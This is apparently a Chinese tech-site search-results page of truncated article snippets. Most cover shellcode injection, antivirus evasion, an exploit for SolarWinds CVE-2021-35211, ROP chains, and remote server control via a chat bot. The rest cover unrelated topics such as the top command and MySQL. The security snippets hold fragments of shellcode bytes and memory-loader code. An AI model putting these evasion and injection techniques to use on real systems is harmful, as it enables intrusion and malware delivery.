首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux通过栈溢出进行提权实战

尽管管理员可能不知道’find’命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。...NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。...尝试http下载但没有成功,以后遇到bash反弹的就架个服务器,遇到ssh的还是用sftp更方便点; ? 我这里用得是MobaXterm;运行下程序看看; ?...那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过 3、NX:NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行...\x75\x4a\x49\x35" "\x61\x58\x49\x4c\x49\x48\x4b\x50\x6a\x51\x56\x51\x48\x68\x4d" "\x4b\x30\x42\x4a\x53

1.8K10

CC++ 将ShellCode注入进程内存

内存注入ShellCode的优势就在于被发现的概率极低,甚至可以被忽略,这是因为ShellCode被注入到进程内存中时,其并没有与之对应的硬盘文件,从而难以在磁盘中取证,但也存在一个弊端由于内存是易失性存储器...,所以系统必须一直开机,不能关闭,该攻击手法可以应用于服务器上面,安全风险最小,注入后将注入器删除即可。...\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\xce\x25\x3d\xaf\x16\x16\x69\x6f\x48\x31\x58...\xe2\x3d\xae\x6d\xb6\xfd\x0e\x5e\xe2\x3d\xee\x6d\xb6\xdd" "\x46\x5e\x66\xd8\x84\x6f\x70\x9e\xdf\x5e\x58...然后使用x64DBG附加任务管理器,看是否存在远程线程,挨个找,找到后提取出他的ShellCode代码,进行解密,看能不能找到一些蛛丝马迹。

57920
您找到你想要的搜索结果了吗?
是的
没有找到

免杀tips——敏感函数处理过国内主流杀软

✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...目前市面上的绝大多数杀软基于判断一个exe是否为木马,无非就是敏感函数或是调用敏感的api、特征库匹配、hash值、监控内存之类的 ,所以静态的还是比较好过的,稍微处理一下自己的shellcode基本上是都可以过的...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...大小 shellcode_size = sizeof(buf); /* VirtualAlloc( NULL, // 基址 800, // 大小 MEM_COMMIT, // 内存页状态...NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // 将shellcode复制到可执行的内存页中

1.1K40

创建漏洞利用:SolarWinds 漏洞 CVE-2021-35211

VirtualProtect以将堆栈的页面保护从 RX 更改为 RWX 将堆栈/寄存器重置为利用前的值(如果必要且可行) 添加 ROP 小工具以跳转到新可执行堆栈上的 shellcode 我可能会也可能不会坚持这个顺序...读取内存地址处的值rax并将其存储在rax寄存器中。 例如,如果rax=0x123456789上面的指令读取内存地址的 8 个字节0x123456789并将该值存储在rax寄存器中。...第一步是在 Serv-U 的.data段中找到一个可写的内存地址,我可以在其中写入一个字符串。我使用 Hopper 在数据段中查找没有与任何代码交叉引用的部分;假设是内存区域确实未被使用。...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a

1.9K20

构建ROP链实现远程栈溢出

如上图就是运行后的FTP服务器,通过nc工具链接服务端的地址nc 192.168.1.8 9999 可以得到一个FTP交互环境,此时可以执行send | hello world命令,来向服务器发送一段字符串...,同时服务器会返回给你Data received successfully这样的提示信息,好了我们开始分析程序并挖掘漏洞吧。...此时我们需要寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针,其基本思路是,使用内存中任意一个jmp esp地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp...\x2b" buf += b"\xc9\xb1\x56\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb1\x43" buf += b"\xbb\xc7\x25\x01\x44\x38...小总结: 上方我们所演示的就是典型的基于内存的攻击技术,该技术的优势就是几乎很难被发现,100%的利用成功率,内存攻击技术就是利用了软件的安全漏洞,该漏洞的产生表面上是开发人员没有对缓冲区进行合理的检测

75820

红队技巧-利用uuid加载shellcode

y 点击蓝字关注我哦 近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文: 这篇推文大概讲的是通过分析了一个恶意样本,找到一种非常有趣的向内存写入shellcode...rift-analysing-a-lazarus-shellcode-execution-method/ 值得注意的是: 在自定义代码中,攻击者使用了windows api 遍历了大量硬编码 UUID 值列表,并且每次都提供指向分配内存...COMB数据类型的基本设计思路是这样的:既然UniqueIdentifier数据因毫无规律可言造成索引效率低下,影响了系统的性能,那么我们能不能通过组合的方式,保留UniqueIdentifier的前10...0, 0);//获得可执行的句柄 void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间 if (ha == NULL) { cout << "内存申请失败...哈哈哈哈哈哈哈哈哈 学习总结 这里虽然还是给杀了,那是因为这种uuid还是存在一定的特征,还是会被杀,但是这里讲究的是一个思路,可以用其他windows api 来向内存中写入shellcode,加载shellcode

1.1K10

红队技巧-利用uuid加载shellcode

近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文: 这篇推文大概讲的是通过分析了一个恶意样本,找到一种非常有趣的向内存写入shellcode方式。...rift-analysing-a-lazarus-shellcode-execution-method/ 值得注意的是: 在自定义代码中,攻击者使用了windows api 遍历了大量硬编码 UUID 值列表,并且每次都提供指向分配内存...COMB数据类型的基本设计思路是这样的:既然UniqueIdentifier数据因毫无规律可言造成索引效率低下,影响了系统的性能,那么我们能不能通过组合的方式,保留UniqueIdentifier的前10...0, 0);//获得可执行的句柄 void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间 if (ha == NULL) { cout << "内存申请失败...哈哈哈哈哈哈哈哈哈 学习总结 这里虽然还是给杀了,那是因为这种uuid还是存在一定的特征,还是会被杀,但是这里讲究的是一个思路,可以用其他windows api 来向内存中写入shellcode,加载shellcode

1.6K30

pyinstaller打包逆向分析,顺便免杀Windows Defender

✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存

2.3K20

红队作业 | 钉钉机器人远控服务器体验

本次作业是使用钉钉机器人来实现远控服务器!...1、登录钉钉开放平台 可以先创建一个企业 选择应用开发,企业内部开发,添加一个机器人 记录生成的密钥 配置好开发管理,服务器出口IP添加VPS的地址,消息接收地址为一个可以接收数据的url,该url...验证不通过') print('有get请求') if __name__ == '__main__': app.run(host='0.0.0.0', port=9000) 3、在开发管理的服务器上启动服务...4、调试 在钉钉开放平台上选择调试 打开钉钉,会有一个TEST版本的群聊,可以在里面进行测试 可以看到,命令执行成功,服务器端请求成功 参考: 钉钉机器人设置: https://open.dingtalk.com...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59

1.5K20

【免杀】C++静态免杀学习

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...复现其他师傅的免杀 2.1 c++部分 其实他这部分代码的逻辑就是一个利用自己的密钥进行解密,解密之后再申请内存,执行shellcode,在这里先将别人的代码下载下来,在本地跑一下: 先把项目下载,然后把...xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\

2K30

拔刺 | 中国首款商用100G硅光芯片投产,你怎么看

今日拔刺: 1、中国首款商用100G硅光芯片投产,你怎么看? 2、A11处理器与骁龙835处理器哪个性能更优秀? 3、人工智能会“放过”艺术吗?...本文 | 1824字 阅读时间 | 5分钟 中国首款商用100G硅光芯片投产 你怎么看? 我们可以先稍稍了解一下硅光芯片的相关背景,然后从中美在先发高精尖科技方面的不同特点加以论述。...从综合性能上看,苹果A11的跑分已经远超高通骁龙835了,跑分差距32.82%。这个差距在旗舰级CPU中是致命的。从单核性能上看,苹果的优化做的非常好,单核性能几乎双倍于骁龙835的单核性能。...显然不会,第一,人工智能艺术就是高维度的创造,怎么能不去做呢?第二,假如我们是研发人工智能的技术人员,那就更不会放过艺术了。艺术的根基是技术、功底,这不是技术人的本分吗?...人工智能不放过艺术等于说人工智能要代替艺术创造的主体,它们只是会进入艺术而不是艺术进入它们。

68010

服务器和虚拟主机有什么区别?区别大吗?

它的好处是可独立分配CPU、内存、带宽等资源。而虚拟主机 ,是将一台服务器分割成若干相对独立的主机的技术。...每台切割出的主机在功能上都可以实现WWW、FTP、Mail等基本的Internet服务,跟独立的主机几乎一样,但是这台服务器上所有的用户共享一个IP 。...云服务器是通过虚拟化技术,将大量独立服务器虚拟为一个性能可分配的虚拟服务器(云服务器),可以自由定制需要的CPU数量、内存大小,硬盘大小,带宽资源,IP资源等等。...虚拟主机则是通过虚拟技术,将一台服务器分割成很多小的空间,每个主机空间CPU资源、内存资源、IP资源等都是采用共享一台服务器的形式,其性能大大地受限于该台虚拟化服务器。 二、使用性能不同。...云服务器可支持弹性扩展,按需付费,当服务器能不能满足网站业务发展需求时,用户可以随时进行扩容,升级主机CPU、内存、硬盘和带宽等配置,有足够的业务缓冲空间,而虚拟主机升级或扩容相对麻烦,需要重新租用新的空间

16.1K10

10分钟教会你看懂top

后端们最怕的事情之一就是服务器的负载突然飙升,这可能又意味着一个个夺目Call马上要打过来了。碰到这种情况怎么办,大家第一反应一定是登陆到服务器上,先敲一个top命令看看Load Average吧。...今天这篇文章和大家说说怎么看这个“Load Average”。 Load Average ? 很多人说Load Average这一个指标就能说明系统负载高了,这句话是对的。...top命令一行一行看 top命令输出了很多参数,真正的服务器负载情况我们要综合其他参数一起看。...us+sy如果长期超过80或者90,可能就代表了CPU性能不足,需要加CPU了。...所有程序的运行都是在内存中进行的,所以内存的性能对与服务器来说非常重要。不过当内存的free变少的时候,其实我们并不需要太紧张。真正需要看的是Swap中的used信息。

1.3K10

MYSQL Double Write 我关掉行不?

这个问题是在某个群里面,看见有人问的,已经2020年了,到底Double write 能不能关,这是一个好问题。因为有些数据库压根没有 Double write 也就没有性能上的损耗了。...你的磁盘系统支持full page 写吗(实际上这方面是既有硬件解决方案,也有数据库设计方案来解决),如果支持,自然是可以关闭的,如果没有,那你做好数据库服务器意外后的数据库无法启动或数据丢失的恢复准备了吗...而提出能不能关DW 主要原因就是性能,因为性能,性能,性能,在数据落盘之前要进行一个(性能消耗较低)的 DW ,而为了性能求索的人们就会有类似的问题被祭出。...那DW 平时是怎么工作的 1 打开DW 当服务器crash后,重新启动后,CHECKSUM发现当前的数据页面不完整, 内存中的数据并未刷入到磁盘,InnoDB就不能通过事务日志来恢复机器crash...没有DW在服务器crash后的衔接,那MYSQL很可能就会因为损坏的数据page而导致重启后无法正常工作。

2K20

PE格式第三讲扩展,VA,RVA,FA的概念

二丶模块地址(image Base) 模块地址,就是exe加载到内存的时候,所在的地址, 比如MZ位置,在那个位置,那么对应模块地址就是这个位置 在OD中的内存中查看就是PE头 ?...五丶VAtoRaw(虚拟地址,转化为文件偏移位置,就是虚拟地址的代码,在文件那个偏移位置存储) 首先你要明白 RVA 怎么计算,FA怎么看. 我们随便找一个PE文件(我用最小的标准PE) ?...举个例子 VA = 401456 RVA = 401456 - (.text的位置当然这个你得自己看,可能不是,这里默认是了)401000 = 456 FA = 456 + (文件中节表中的PointRawData...+ 文件PointerToRawData 字段 列如VA = 401596 当然,节区你要看内存,上面已经说了怎么看....(怎么看节区表) 401596 - 401000 + 400   = 596 + 400   = 996 (FA) 如果按照上面的公式,我们再来计算一遍 VA = 401596 IMAGEbase

1.3K20

听“过来人”谈谈他对软件测试行业的看法

但是测试确实是又不如研发,因为测试本身是个成本岗位,说白了就是不负责产出的,理论上研发的能力强和自测做的好,测试甚至可以打酱油,这也是为什么有些公司或者领导不怎么看中测试的原因。...3、点管理技能点的,因为测试本身处在整个需求生命周期的中后端,也就是前期没啥事,后期能不能上线全看测试的表现,所以也有测试兼职做项目管理的,做着做着最后就成了实际的管理者了,所以如果你见到一个项目的负责人是测试不要觉得奇怪...,这系统能不能上是他来点头的。   ...所以测试到了中后期是一定要转型的,而后期能不能转型成功全看你头几年的个人积累。我的建议是,你擅长干什么,或者喜欢干什么,就往那个方向转。

37730
领券